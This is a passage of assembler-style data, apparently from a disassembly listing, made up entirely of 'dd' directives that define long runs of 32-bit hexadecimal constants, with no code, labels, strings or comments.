18892900h, 668EBD10h, 3CF434h, 689354D6h dd 58BCB52h, 0AF16B200h, 0D7B54FE1h, 0D4E000CEh, 0F2767DB6h dd 5B039C79h, 5AE9633Fh, 60C7C286h, 60FB1Ch, 0CDE594EEh dd 93230D2Ah, 2F888250h, 8F00D8E4h, 92762B11h, 3041F34Ch dd 64219691h, 0EC0340A6h, 0B38ED829h, 0FF0C76Dh, 0A3F181h dd 7E14B6B4h, 99131797h, 279DB00h, 195E63BDh, 0D25007Dh dd 0EF26E8ABh, 280070FFh, 0E0B42B36h, 2E2F8190h, 0C7D07Bh dd 0A2A7730Fh, 0BA00C526h, 8D640C01h, 354012h, 415536F1h dd 0D89CFAB7h, 391AB600h, 0EA1B0876h, 0D0F3003Bh, 0DC021FA9h dd 0B107228Eh, 1DA74C75h, 0F330203Bh, 903AA844h, 15EE7Ch dd 3416810Bh, 2EBE9747h dd 0E2BFBC1Dh, 785CDE00h, 3CA4ACEh, 0B726B913h, 608712FCh dd 0AD9BF428h, 9875F107h, 18F0D36Fh, 1815FF52h, 7EAEDBF5h dd 1E00F0BCh, 7194250h, 7FFAB2FBh, 7A0303A2h, 8ECAE7Dh dd 0EEA0BDE8h, 5A918E01h, 3F8992A9h, 0D158C8h, 48D3EBFFh dd 0BB39440Bh, 9400AD71h, 0A8B0BA0Fh, 0F97578h, 26CC648Ah dd 0EB885B46h, 0A5004BF8h, 0E46B722Dh, 3859C049h, 2C80AA95h dd 8AFD89C5h, 85035A6Ch, 49B0019Bh, 5960979Dh, 0E34814h dd 4B0BA0B8h, 0D90435C6h, 0E2261090h, 170078DFh, 56097D79h dd 16130737h, 0D0E81EFCh, 0B222835Ch, 0DAF1400h, 639AA552h dd 0C0F92E59h, 0DEAE316Ah, 0E968025h, 0A506D154h, 0CADD00D8h dd 0BE8D295h, 0AB019B34h, 161CED3Bh, 0FBD3DA8Dh, 3E6F88C2h dd 0DB670F24h, 2A800E30h, 27935EF4h, 0D99B2D00h, 0F6E23A06h dd 8C240011h, 69517DC8h, 0BAA060C1h, 0CA0B6664h, 963FC4Dh dd 0DA35004Ch, 22D0B8h, 0F02D3E8Ah, 4B8D5F6Ah, 0EA261600h dd 3D35EC3Fh, 2C21277h, 1DE5007Ch, 0C87D488Dh, 8B683C00h dd 0A16346D2h, 3DE91DCFh, 0A3B7C2B6h, 30C886B1h, 0F300A523h dd 9AA69F87h, 908022BAh, 0D64B2C38h, 0E01C0Ch, 3506D8E1h dd 9539B885h, 93960B78h, 379D02A1h, 2755EFAh, 0D48A5EBh dd 392F10C0h, 2CF6BC00h, 0FA73C6DBh, 0D8E7009Eh, 8E106537h dd 0D0B0A9B0h, 11809A05h, 0F680675Fh, 93075B7h, 2989A239h dd 506EE420h, 79005E9Ch, 0AA69011Bh, 2E802D9Dh, 0E8594AEh dd 5F3F9BD0h, 7A270023h, 0B3293725h, 0E4DD7F03h, 0D86AD7BAh dd 6816F7h, 0BFFFDEAAh, 5FDA8E1Ch, 0BF0D1D3Fh, 0EC46808Ch dd 25CBB64h, 0D62F0023h, 0C4E3393Fh, 0A4079887h, 0DE82EA70h dd 3DFD8C10h, 945D00D4h, 0F409B7DBh, 8001DFB0h, 0D59CA8C9h dd 0D8C0DDD3h, 6CA100A2h, 0A0940919h, 0F83EE71Eh, 18E300FBh dd 1DF406EEh, 0EA600C4h, 0AA3FA756h, 780346B7h, 2B3DAD1Bh dd 1E3C88F7h, 4BFB8DBh, 277D581h, 0B78CC0CBh, 0A8BA4BCCh dd 17F448h, 9F8E571h, 286EB2CFh, 0ABBDC5h, 1CC86FA3h, 0AA7E7783h dd 3A53C400h, 0DEA63C1Dh, 6C500021h, 44FA1DFh, 0A0C2969h dd 28AC886Ah, 112B0FDAh, 70A044B0h, 6364B734h, 0DF00C678h dd 72A14C1Fh, 4D4AA4h, 0A8C25596h, 0B25018EDh, 0C0168826h dd 21BBD01h, 2060936Ch, 0A47E0065h, 5CE5FFD3h, 0D00FD16h dd 3F4B6071h, 1FCB69h, 22E27854h, 3A59D97Ah, 132E4F75h dd 2100BE31h, 5B205DBAh, 25A6062Ah, 0FA884D15h, 8763B339h dd 0CF0E9509h, 0E19A7220h, 16D207AEh, 701EE988h, 0DB7E5B65h dd 0CF7B430Bh, 3DE88032h, 3EEF79h, 7281738Fh, 6D07BCE9h dd 1A171C12h, 0D0DF9402h, 0D8802996h, 42EEB058h, 8357A100h dd 0B44F0234h, 6CF716DEh, 6E2860E5h, 0C0396579h, 539381B7h dd 60DE0130h, 3238B097h, 74C8D520h, 0B6004C79h, 0A73DD010h dd 726A56B9h, 0A6361F6Fh, 41F00D8h, 0BB30922Eh, 0DCA938h dd 17268A8Bh, 0FEF62819h, 0D0E6007Fh, 43214981h, 1C3F351Dh dd 314C0044h, 0B82C484h, 0FA34EEC9h, 566B00BCh, 9E53A580h dd 0FB0B573Bh, 2B1AF14Ah, 0D78C103Ch, 0DA4008Dh, 2D4D3951h dd 565842E4h, 0B0D403F0h, 0D0F68C38h, 7D168Dh, 8E2FC6Ah dd 3B536EF7h, 0B3B9DE0Eh, 0AE4AC0FBh, 3FC562h, 7A577251h dd 0F1D6B570h, 828B2704h, 54E0B79Eh, 30A90644h, 701D7689h dd 0F0C3DE00h, 0F56C858Fh, 817200E9h, 33B0EA51h, 523A8EE6h dd 0FC3CA47Dh, 22DC7900h, 862317h, 5A6BFE1h, 2C68F31Ah dd 87FDB477h, 0D8F76B18h, 66553930h, 480A09FEh, 9C895C59h dd 0CC3D6180h, 9D006209h, 5F899BDEh, 4C1019D8h, 0AD0078EAh dd 62A9B45Eh, 6C04CB9Fh, 0BFE661E9h, 0CEF354C0h, 464F3078h dd 0B70FBCAEh, 7CC85Ch, 0A02D474Bh, 3CDF2EC1h, 8E00020Dh dd 0E8363567h, 0ED38378Bh, 0B233973Dh, 88E69B00h, 280617AFh dd 0F1C420h, 3E937C2Ah, 58C2CF12h, 321AC3Dh, 0F053CC27h dd 677DA072h, 92590F37h, 50C09584h, 53E3DA38h, 6D89C201h dd 0C8588830h, 7C6ADCh, 0EFDB881h, 7267F20Bh, 82D5A03Eh dd 0DB92EC36h, 82DD80E6h, 1E2247Bh, 8C201674h, 40816E06h dd 79A707E8h, 861378ECh, 94075530h, 0EA60774Ah, 0DB8B1Dh dd 0D2DF204Dh, 0BBE7B8E2h, 0E5FC231Dh, 0C8F1FD00h, 58784FBEh dd 4600D910h, 7130E6F9h, 9400BF4Dh, 6FFCB6EEh, 12B0C8Eh dd 0B2971013h, 83E3AF5Ch, 0EDF7650h, 31D9D891h, 59520245h dd 3C983F69h, 80FFE241h, 46138468h, 4E0F5h, 57E62402h dd 0E2983A68h, 0BA257F03h, 0D1288033h, 1670BBB5h, 6E071230h dd 3644005Ah, 0A1D3600Ah, 0E9AF4B03h, 0D0C26D16h, 0E549D7h dd 0CC0C7FEEh, 9EB888ECh, 0B42B342Ch, 2C7DD1Eh, 871074E3h dd 0E828384Dh, 2D183C04h, 51B03E0Bh, 0B939CD00h, 0DA00B2C7h dd 16E16D85h, 101208h, 8CC12F28h, 0CB26E6E9h, 0C7BBFA0Eh dd 12B6E0FBh, 75D5EB95h, 9AA00058h, 0D15B2734h, 0BB01FBE2h dd 67C3FB9h, 0D040EE44h, 68B1458h, 0C231E736h, 0B000285Ah dd 0AFC16FBFh, 581F0B9Fh, 1D00988Eh, 67410395h, 0DF137342h dd 5D00A31Bh, 45A73A19h, 6CE60013h, 5AC438CAh, 100B14A0h dd 1B4406Dh, 9A2A582h, 90F5DCh, 985B6F02h, 0FD92515h, 2F520E00h dd 710C5811h, 0CE38023Ch, 4C156024h, 41008058h, 0DB5ECA57h dd 14465A1h, 399354FBh, 8FECAF95h, 0E05FE5C8h, 27FE90EDh dd 7DFC007Eh, 668674F1h, 3014AF6h, 98025289h, 6EC6B61h dd 0AA5600E7h, 64912F21h, 0F100D92Bh, 8B99B3C9h, 87D75Ch dd 0F621F34Fh, 1F92FB6Ch, 5000385Ah, 0C34DB401h, 0E642F897h dd 48654830h, 0AFA1250Fh, 91592260h, 0DB014D7Ch, 0B3CC437h dd 64ECCEE0h, 9EAA03D3h, 0CF467BF9h, 744567E8h, 6D143A02h dd 0D0ABBAFEh, 0A3F609A4h, 64001746h, 0D7B89108h, 0F7D0621Ch dd 6C5EC80h, 0CD91575h, 0DA22DE42h, 3B124198h, 4C046E43h dd 0A0F3DF06h, 0D7C06F00h, 658D7F18h, 3C0008FEh, 0EE2C2505h dd 0A65F50h, 66F25195h, 0CC8B5CDBh, 5B30E01Fh, 0FECA6FC0h dd 5016A9h, 1D61A3FFh, 2F1BF293h, 96CDB700h, 72EFEC63h dd 4B74F269h, 0BA300409h, 80B600E0h, 3F56CA1Eh, 0E78BC44Dh dd 908065AEh, 9D2B15C8h, 0A800FBE8h, 216D0516h, 957261h dd 0E452B3DDh, 3F324E2Eh, 73CCC704h, 78A02B30h, 0D294049Fh dd 0C0352DF9h, 0DC74A857h, 0D08B1500h, 0B5FF2BBh, 1DBFC3Ch dd 0C07D50F1h, 0D47E768Dh, 0F21D5A63h, 4A14906Ch, 57E118E3h dd 495B4Eh, 957A30A2h, 8BFA0839h, 9C105E38h, 878B3E5Ch dd 36C8006Bh, 90DD638Ah, 930A003Ch, 5BA8AB96h, 3D01B2A5h dd 0B747681Ah, 0E7D0EF75h, 0CD55009Ch, 0DBA84C35h, 0D800FA7Ah dd 48527612h, 0B117B19h, 7996368Ch, 35880800h, 0E7717873h dd 3350F000h, 259C9747h, 0AB3900FEh, 996ED488h, 0F3FA832Ch dd 8A931105h, 0B700CB37h, 79DB0949h, 7A360022h, 0A70692A4h dd 1012DE40h, 1400C12Eh, 0F248EA6Dh, 5CAB005Eh, 0F3588626h dd 0FEE9587h, 1E087700h, 34172DAh, 0B838F3A7h, 27A01Ch dd 3A33892Fh, 8E1D1A52h, 0D905AAC1h, 4CC0B904h, 0E8A302BBh dd 63552CE5h, 0D3F58000h, 0DC01E114h, 0AD0FE8E6h, 0F65BCC3Eh dd 301D8400h, 0BB93B4D6h, 2037479Ch, 887F7F6h, 9C3A401h dd 1263849Ch, 0E1D630h, 134DFA05h, 0D98395AAh, 91313000h dd 886A978Ah, 3877A0h, 8D9EDD3Eh, 0BACC899Fh, 5B00AF7Ah dd 76E1D593h, 2CBBD9h, 113346C9h, 5EFF28ABh, 57FE180Fh dd 0FE8C0FCh, 3F602068h, 7FD4535h, 0EEA3CD13h, 4731527Bh dd 0BE70D9E0h, 0C3262300h, 8D0B9E0h, 241D00B4h, 419C2937h dd 0D6007ABDh, 0EEB7A2FBh, 48EB3Ch, 0DFD1A55Fh, 0E3CB0A73h dd 0BB74C600h, 0E03CEDBCh, 9D90B6Fh, 80C029C1h, 4354C6EEh dd 3800D69Ch, 2D2A0C86h, 71ABA7B8h, 2EB8A096h, 0F07D0048h dd 10BBA178h, 65FE479Dh, 1C4D0709h, 0BCF282F1h, 0ED98C82Bh dd 0A7DB13E0h, 584500B6h, 20290365h, 605C38EAh, 546405B5h dd 8DC086DEh, 0FAE39E1Fh, 565300FAh, 0C58AE997h, 412E748Ch dd 37017C0Fh, 0F3A7EE16h, 0B9E2F0h, 0E85EB387h, 0C93FF86Bh dd 0CBCD2F07h, 7796808h, 5250EAB9h, 341A9Dh, 23A917FAh dd 2FC6F253h, 0BD891800h, 81CEAB0Fh, 86B4007Ch, 2DEC374Bh dd 7F0108BAh, 8A9021D1h, 5C60898Bh, 420414F5h, 8C27840Dh dd 0EC1D3400h, 4C731066h, 0F1263690h, 35189C6Eh, 58C91780h dd 4B0049B1h, 0ECA1698Fh, 0C430752Fh, 0B756226Bh, 189A00A7h dd 0DC0E46A2h, 0B83DCE7Ch, 0E00893E6h, 44FE5A00h, 1D1BC562h dd 809969DFh, 6A4F498h, 0B74C4109h, 5801164Ah, 9BCE3100h dd 73916Ch, 5C49E4B5h, 0E061E96Bh, 9F77120Bh, 0CCF980F5h dd 12BAFF2Ch, 0C04BC3FEh, 14257804h, 89248D74h, 7404D363h dd 24C79561h, 782D8F72h, 0C4261CECh, 81942C1h, 0EC6045B6h dd 4408CC97h, 6AF4F0h, 66CD05CEh, 1F3F5EC6h, 7A3C8057h dd 2384072h, 0D65B2CE2h, 4EDD0B28h, 0A9427040h, 34B4A32Eh dd 3BC39h, 56146937h, 0EC2430Bh, 775351E5h, 96EA1BE0h dd 0E30061CFh, 6B4CB43Ch, 5020B37Fh, 11CC85h, 3B987066h dd 269C5945h, 0FF188360h, 0F2ED7Dh, 4CE0E4A5h, 0C7E71064h dd 0C7BA80Bh, 6628A43Dh, 8BC08780h, 0CEF04Fh, 0F374FC45h dd 0E0DC6881h, 1EBAD907h, 34A5D6BCh, 0AA449B80h, 23E91850h dd 0C72B68C4h, 0FD8D931Dh, 8F717D80h, 0E15A5F8h, 6535362Ah dd 9DB480BDh, 5543ADA1h, 5B453E01h, 0C8D986CDh, 2A5814D8h dd 0C911F8h, 3F935072h, 104B15DFh, 0DED53300h, 632BE65h dd 41F900D0h, 0A5FEE93Dh, 0AC090D91h, 118E59Fh, 200499E8h dd 2538CBECh, 5480ED46h, 0D267D34Bh, 0DCF5A712h, 288F5603h dd 5E60CF61h, 52487h, 0AFFBFD35h, 0D8F14754h, 0DD68F502h dd 60AD5A2Fh, 98D58FC4h, 7A60712Ah, 0C7CB00DEh, 5C25865h dd 3600089Eh, 0B7EEC0CDh, 1FF9A631h, 8066858Dh, 0D27C691Ah dd 0F1280DAEh, 5000882Fh, 31DB709Ch, 7B3F3CBCh, 323D0044h dd 0F83EFABDh, 546095ECh, 0D03902D0h, 0B3B0008Ch, 2E3B3A46h dd 5898E888h, 9135590Fh, 64003F52h, 6EE4F3B0h, 847923h dd 0A96F8CFFh, 0AA8749C6h, 7C7A2700h, 0C46C7B91h, 1D38B096h dd 80C13EB5h, 94C5AA8h, 687BD9FDh, 0F8AD43Ch, 0A0BCF010h dd 7484966h, 256C166Dh, 43B000A5h, 0B8784BCBh, 875FE504h dd 0A8877615h, 0FCEC1F51h, 12E3FAF4h, 0C0E95622h, 0DCA3426Ch dd 590D320Eh, 57EFE360h, 91B100CFh, 52160531h, 0F54CA153h dd 0ED80777h, 0BF201072h, 9FBB740h, 0AC13CAF4h, 1BA030E0h dd 0A6DAE17h, 27F7C84Eh, 0A860DFE2h, 35D8657h, 783C92F9h dd 0CFF8C661h, 3512B86Dh, 0B8007F11h, 799A5D87h, 349E8Fh dd 0C1FDF60Dh, 0E0017D03h, 8E06EF1Eh, 0E360775Fh, 2EF1EA12h dd 41BC3Eh, 0B1D50C72h, 400009CCh, 8D1E91A7h, 2423141h dd 54BE7AAh, 0F4E023ABh, 73004345h, 0EC381C7Ah, 0E98470h dd 0CC2E05A0h, 91BFBAAFh, 0DFC1413h, 0E4E12400h, 63EFF0h dd 0A73050D8h, 1323E83Ah, 22095200h, 59064957h, 797D714Fh dd 0D0BC4AE2h, 169B507Ch, 0DD660C1Dh, 0B2C1E140h, 254098C2h dd 0D0816A2Ah, 0F0D06DC3h, 0D90FF9C8h, 0A0A6AD07h, 4E9AEDFBh dd 47021EF1h, 0ABBC4011h, 60E95C04h, 0C8808494h, 1F3786E2h dd 60EE722Dh, 10B219BFh, 80060CA6h, 18A0D5FAh, 0D0C83291h dd 0C060F30h, 797A38h, 0C05096F4h, 0A20AF057h, 0EB1D490Eh dd 88E3C02Fh, 724E1CE5h, 6B3F003Ah, 0C3A5DD60h, 8BEC0CFCh dd 98790600h, 0CF29E5D1h, 0AB4C0759h, 20BA5D70h, 5C455A42h dd 8696CB12h, 644DF881h, 4E3026F1h, 0A7080315h, 857E980Eh dd 0FEDF2101h, 0AED47461h, 44125C40h, 15340E0Ah, 0C0FE8BCFh dd 0E8E3562Ch, 0EF1329D2h, 9006721h, 0B7BEF032h, 0DE700049h dd 5E5B302h, 2D1F0D19h, 0D8C025E0h, 706827ADh, 3876AFh dd 0A822F748h, 3A6F7410h, 297CAA00h, 0E7E0B17Eh, 6CF00027h dd 911CA51Dh, 96005A4Ch, 2252B4EEh, 8C6354h, 8D4B3F9Fh dd 3E0719B0h, 6A1D6400h, 0BE56DFEh, 3AEB3942h, 35632C00h dd 71BB92D5h, 6702BF01h, 0F8122884h, 801DE09Fh, 8CDA302Ch dd 150058DFh, 903E74F1h, 2FDB6E5Ch, 4007D001h, 0D7C00FD9h dd 34CBDCFh, 7897E006h, 7149C360h, 0A598F6h, 0BAFDEBD0h dd 93C5A3AFh, 373D597Fh, 0B4A2AE82h, 40354Fh, 8E0515BAh dd 87CD39h, 0D6978AF7h, 1AC6486Eh, 0AB80270Eh, 4C9CC0E5h dd 0EB3261h, 76A0AFBCh, 11871E03h, 0C03BD188h, 133468A9h dd 17056EADh, 55359F5Ah, 0C57983h, 0B7975721h, 5A457964h dd 4ECF5Ch, 6FC83A2Ah, 25639Ch, 39C498F9h, 0D5F3A8F7h dd 0DA74CC7Ch, 0B1136A18h, 0D88671h, 1575BB57h, 2DBC9D92h dd 0CAC0FFEFh, 0AB0056EAh, 0A910E7D2h, 3AAD5E86h, 8483CFFBh dd 115C2C4Dh, 852B0DF0h, 5D00D5F6h, 6FDFB66Eh, 0C2D23F05h dd 608ABBA9h, 1F197080h, 7A775976h, 61CA700h, 0A62ADB40h dd 9775B3h, 0F9572DBEh, 0E3F1DFDAh, 80724F3Bh, 0AD7174B8h dd 3887F66Dh, 0FE00900Bh, 0EBB3FB0Fh, 0EE0044BAh, 0CC7DB423h dd 1D8DBFF0h, 0C03A5105h, 8CD70153h, 9C67B09h, 20B098h dd 6ECDC531h, 0BB17913Eh, 0F659E00h, 0D3A7DF29h, 7B7C7A8Eh dd 86B07C3h, 0A1E7FD7Bh, 8DF13A0Eh, 49ADC060h, 9982C0h dd 6B6123E5h, 88965746h, 0A88CF301h, 339F831h, 0C1FC4h dd 0FC437429h, 1796E4BFh, 0EEB68000h, 0C8E2FB87h, 0DBBD3693h dd 0F101C168h, 548B8F21h, 10838C24h, 0D8C9B49Fh, 78689C80h dd 4F6C881Dh, 6931DF18h, 0C8C907E6h, 0F036162Fh, 0FFE083DBh dd 0D7DCCC00h, 7BF1BFF2h, 0B6E88Fh, 4299AEA3h, 5AEE31D0h dd 0A4D55403h, 8133461Eh, 0E88004B6h, 7EE5869Ch, 0AF3EF905h dd 0FC420157h, 0FDC52739h, 0F3ACA8BFh, 26A30011h, 0B55B4109h dd 4730F774h, 0DA1B20EFh, 0E5D83B42h, 39A13589h, 5AC4F300h dd 0C700AC67h, 0C297647h, 3A35C8CCh, 0BE073FFCh, 0B5AFBBDEh dd 0E0EC48B6h, 627017C7h, 86832F01h, 0B621E660h, 0AA3CC3Ch dd 2DC054B5h, 1B9A0EBCh, 130466E3h, 0DB691000h, 0F9857555h dd 12A200D7h, 0FFF66AF0h, 98004E71h, 0AA9BB6D6h, 876002h dd 0C3530870h, 7E50BDAh, 898458h, 4D72FE94h, 9DAB2Bh, 0D655349Ah dd 0BF7C1882h, 29AEA500h, 68F7356Eh, 5E7A38h, 2AA1236Bh dd 403274DFh, 6200D0E2h, 3A7A5322h, 97CE8Ch, 0E1DA9EAFh dd 0A90AC57h, 6700CDECh, 1E47F173h, 7ECF8F49h, 0FEE4E8h dd 0CA22B7C3h, 1C771932h, 86E90100h, 7B9F6850h, 1EC700AEh dd 0D87CCDD4h, 0CBEAA60Bh, 0FE714D07h, 0DFA0BC41h, 7B2B3E14h dd 40F10322h, 4B98130Eh, 0D83C5089h, 413AD8B5h, 0E40073CBh dd 6A873578h dd 0ABDC003h, 541C8319h, 940100E0h, 8A98246h, 67E55D01h dd 99A527FBh, 9F77F0h, 0ECBE8E3Dh, 19554573h, 0ED2F5426h dd 2A26003Fh, 0C3C5D79Eh, 0D93201D6h, 144F2BF4h, 772EE4E4h dd 80A3D800h, 2674E9D5h, 0B0E858h, 0E76BF72Ch, 46866783h dd 44FD0F00h, 617C5616h, 0D2BF030Ah, 845C9C41h, 0C86FECB1h dd 0CEF46979h, 57675300h, 0C04EE773h, 0B18706D4h, 58CC5B3Bh dd 1D24100h, 30C8E654h, 0BC8230DBh, 0D131C418h, 73001B77h dd 60F0118Fh, 0F5A6D20h, 22A05081h, 7DAA2E0h, 0A1DFBCAh dd 12DD8FFAh, 0A8409EDBh, 1AE653Dh, 0A8A92A9Fh, 0E4C8021Ah dd 151F1674h, 4E80C6BBh, 73092BB1h, 0C9DB00F3h, 42C3FC1Ch dd 0FE00BF96h, 58B91931h, 0E0604A3h, 9C91A1E1h, 8801A89h dd 5E31930Bh, 0B374300Ah, 1C0FE488h, 0A82020CEh, 1FC97767h dd 40E52F2Bh, 6EE8BEC4h, 4706B53h, 0DFD64A01h, 5F8A8CA9h dd 3ACFB70h, 0FDDDD5F5h, 8FD8C0C6h, 0E3009853h, 0FC40B363h dd 17C5D6h, 5E8E4A55h, 4EB7C704h, 27C08B1Fh, 116A4B00h dd 75D584h, 0F5D26DC9h, 0E1AFFD09h, 3900E9F6h, 0C3B3124Eh dd 5766F26h, 16BD19CEh, 4DE00017h, 1B742306h, 0EB288800h dd 5B7DF993h, 0B1C400F8h, 44847996h, 21019170h, 0C21A8A2Bh dd 98507230h, 7822C13Fh, 0BFE200D7h, 4CEC1EA3h, 18FA9338h dd 8BDBDD00h, 0E7CCA40h, 0F3E20079h, 0C59C6ABBh, 523C67C2h dd 0E7B280F9h, 0E0757F8h, 93B0C19Ah, 0F8B49464h, 5200A511h dd 8C856FFAh, 388D13FBh, 358E5016h, 4EE1D9C8h, 245A9C87h dd 0E100AA54h, 5781D712h, 186C6DCAh, 609D5F8Fh, 2F2AAD05h dd 0D13EC81Ch, 8FE8505Bh, 319F4A05h, 9BC080EAh, 74C3687Dh dd 0A0BD054Bh, 48CC655h, 400E06F4h, 3B0A1DE8h, 0E69A00A9h dd 5311E4A5h, 0D4005CA7h, 546BCEC5h, 5AC9D9h, 0C65F3286h dd 592EEFFDh, 4A714B00h, 0DCE3FA5Ch, 334C00F2h, 735DE6CEh dd 6200859Fh, 0D8DBC6BAh, 79CCF379h, 1C60986Eh, 10BCA48h dd 0B9CED003h, 9B91F0F8h, 55FC3700h, 0AFE49F92h, 352E0FFAh dd 94802CADh, 7CE36F4Dh, 0F18D8C00h, 67214228h, 7066005Bh dd 0C1FDF422h, 3E001CDAh, 438EFE0Eh, 0A6CD2Dh, 1B554275h dd 2AA868C9h, 0CFF71701h, 0AF13A107h, 1DF35CE0h, 5D0987BFh dd 75FEC063h, 0E411F004h, 3881B300h, 0CB9FAC4Eh, 0C8B053Eh dd 0BB6A0DA2h, 2C42D3C0h, 6B98021Dh, 60CB5881h, 0C00AA887h dd 0A047259Bh, 5D6CEF24h, 0FCDD1A00h, 3B82118h, 5BC2D80Bh dd 3BC0A58Eh, 58B86A3Ch, 8A14EA00h, 0F4378792h, 94F11C23h dd 4F9500D3h, 0FF0CAC34h, 8128BB39h, 624345D1h, 0D5601553h dd 21EE11h, 0FB14769h, 441FF9C4h, 836C0748h, 0C03D9051h dd 0F580307Ch, 0A32B9081h, 319D8EA7h, 0B19EFCA0h, 676CE800h dd 96C81CD8h, 0DE8118F3h, 0B010209Bh, 93217300h, 0C9579DBh dd 1024FB5Fh, 2291344h, 0AC31004Fh, 0ADCD7EB8h, 0D2DA8D50h dd 8232FF00h, 15ED10E5h, 50A46024h, 0D0D4E861h, 0CBBDB503h dd 0B33B769Ch, 0B0AE5Fh, 0FEC8AD94h, 29CC4DB1h, 1221A400h dd 56E6FB5Bh, 0DEF400D6h, 52200AECh, 0F5E0A66Dh, 0AC3A6500h dd 844DBF2Ah, 7A420047h, 965F40BDh, 9203B81Dh, 0C5624C95h dd 2B28183Bh, 7FB9400Ch, 3950BD62h, 103C449Ch, 0CF2A688h dd 20E9D1D8h, 117D0A6Ch, 0BCAF58h, 51878A56h, 3901CB68h dd 0CE787435h, 0B9C76E0Fh, 1C3095C4h, 0A82F0059h, 80691B34h dd 200C0F4h, 81EC9F66h, 3FF8EEh, 0A489DA2Eh, 0C9AE3DE0h dd 0A273CE00h, 126CA654h, 1234981Dh, 0ED64Ch, 40AF4E48h dd 715CB9FDh, 0F44100D1h, 0C084A92Eh, 0C78A00F2h, 9C9AA469h dd 0E3023EBEh, 21D8A361h, 9EA8909Fh, 26A800C7h, 44DF695Ch dd 6A016DB9h, 0C8FB079h, 0E3C40F71h, 6F8A00A6h, 0D03721E9h dd 0D6003C0Ah, 53C735A4h, 9F0EFCh, 2E560428h, 0F621339Ch dd 823D8400h, 0F342F20Fh, 146902Fh, 2D9FEA67h, 209537B8h dd 32079D3Eh, 2E4CF893h, 0B95A00BEh, 7301A9DCh, 0B8B008Dh dd 0AEA6ADDDh, 0A40039E8h, 0D8BDB1AFh, 1A970Ah, 18F0B75Fh dd 1C6664D9h, 6D62BF00h, 105913E9h, 0ABB94827h, 0D85C5460h dd 0F4399457h, 0A9BE009Bh, 0DEE8902Dh, 0D2E70007h, 0A621A244h dd 44D2968h, 83E10084h, 0F4B0C548h, 2A7592h, 9B19448Dh dd 797AD3FBh, 0F5235900h, 5FEAF0DAh, 972F0090h, 0AA082D13h dd 1F00E662h, 0A2323C9Bh, 0E4D07E4h, 9DF616C2h, 0FA820A20h dd 3A0F5113h, 0A2638365h, 4184F703h, 0B0C37078h, 0B028147Ch dd 1DA339F2h, 98635F3Eh, 82E0C357h, 0DD009CEFh, 0FC5C7294h dd 422D1Eh, 162CD49h, 602F82Ah, 8B54828h, 6C7B4000h, 0FDC976AAh dd 0E8FB6093h, 0CA1D2982h, 0FF3C5300h, 0D73F628Fh, 803D90C1h dd 2B12848h, 3A789073h, 54A0BD0Dh, 0CC7CF809h, 0C3D04A81h dd 0C2F400FAh, 0BAB2B650h, 0FC00B0B4h, 1D46FDF0h, 14A49F25h dd 0C263186Bh, 0BF21AE00h, 3DBC9693h, 0B9607601h, 0E2EFD7C4h dd 6B33AD0h, 0CE75C544h, 0B0D070A4h, 6181FB04h, 0F09AAD5Fh dd 0EC60FD77h, 0EE0BCB18h, 0F1F500D6h, 20FF1FE7h, 0DB029FA3h dd 0B44D7EC5h, 0CAA880CCh, 0C4D7AC60h, 1E3B28h, 62677F72h dd 3CAA000Ah, 15AB548Bh, 2A03D35Fh, 73393B80h, 83BBF0E3h dd 0A74E0F86h, 0F58B4F49h, 6B311C80h, 72E8DAC2h, 0F1971F00h dd 0AF850FC4h, 0B41700ECh, 7CE65D02h, 2B00F7BFh, 668A7B89h dd 0F52F986h, 0A5D45FA1h, 166E1100h, 5025A27Dh, 0BB20008Ah dd 0B8CFF541h, 0D34F0058h, 4EA7F189h, 2600E737h, 0C073861Ah dd 27445C2h, 156EA440h, 0E2E03E07h, 38004DA5h, 1B50FD4Fh dd 0D5FAAAh, 2D6F67C0h, 70F6E0F3h, 785D9000h, 0E1952535h dd 80F494D3h, 9A8127C9h, 4700055Fh, 18516E48h, 7DD4CE50h dd 0C96617AEh, 0F0300014h, 6D238A6h, 0F323A500h, 593B43A1h dd 7544B0A8h, 0B79F004Ah, 17BDC427h, 500AE1Dh, 442FBDCh dd 1639AC9Bh, 6B0CEBh, 8D4363ABh, 995C1536h, 8F5F0094h dd 918AE76h, 0C7C30CA2h, 8981EF5Ch, 40006E98h, 36A86B0h dd 0B692CFh, 4A912B95h, 8D529CEAh, 0DE008B78h, 54F47CBBh dd 0C71C2Ch, 1198D9C1h, 57EC9C4Dh, 767EA70Fh, 43B441BAh dd 0F9CCDFC2h, 0E6C0059Eh, 802F5417h, 0E847C15Ah, 6CA8C4A3h dd 0A590D451h, 6F006176h, 0ADFA9654h, 7918492h, 2CFC3C72h dd 0A9DDA0CDh, 64004E32h, 4A762596h, 0E9C12112h, 24AEE3C0h dd 806C5E8Bh, 8C45E83Dh, 0B7124255h, 9BEBh, 6106C0CCh dd 0D26917D1h, 0A41840AFh, 1D8F7902h, 0C101C474h, 32D5248Dh dd 55F8C380h, 8B233208h, 74201959h, 69CB1h, 5E90B22Dh dd 0D15661ACh, 0AE148100h, 58DC98BFh, 2A10248Ch, 0CE3D8038h dd 0F4956626h, 3C004575h, 28671A1Dh, 827A8h, 7B1E83BEh dd 0DCC05C19h, 0FFE68805h, 0E580467Ah, 71409FEh, 9A21CD3Ah dd 9091327Fh, 643BA482h, 1C7C00E0h, 22D8D200h, 0AECA10D0h dd 2F2C002Ah, 35436D8Fh, 83188169h, 63C86708h, 937F0EE9h dd 0A38A0F9Dh, 31D0B84h, 0D5161A80h, 700B35Ah, 0B2DD1E54h dd 3AE56584h, 63009B70h, 4EBD780Ah, 547F1979h, 20F88C00h dd 74D897F9h, 29F31D6Fh, 79EDC05Dh, 665704A5h, 601E700h dd 0A3467BCCh, 0A43839B6h, 49FA1480h, 9D752A6h, 0FC8B5626h dd 0B3762407h, 1055B240h, 389B5874h, 0FDE51709h, 1E840429h dd 0B93CB06Eh dd 73FB27Fh, 2FD680F7h, 2409EF0Fh, 463807A2h, 52F316D8h dd 87014FFh, 8A888916h, 38003E17h, 9E3BE3CBh, 0A7930318h dd 56C7FDBAh, 0B1EF2FD8h, 9081B412h, 94A1440h, 0A41E42EBh dd 9AFF0DCh, 8DA94719h, 91303040h, 5D1A7500h, 805CA08Ch dd 0ECE0008Bh, 0A83BB4CDh, 28C0E762h, 0EF75F65Dh, 60F77210h dd 17E2609Ah, 34006153h, 0C482582Dh, 187632FFh, 39647E4Fh dd 0B0004978h, 0B2AB7B71h, 141BCF35h, 0AC84EF16h, 0A03043C9h dd 0A62463F7h, 69301BD5h, 4996730Dh, 0C709C0C9h, 0AC30D124h dd 0CB25C0Eh, 847FCF29h, 5A4EB500h, 240A06F4h, 0A89AFDh dd 43214C80h, 0DE0124D1h, 0B181175Dh, 844305CCh, 786D812Fh dd 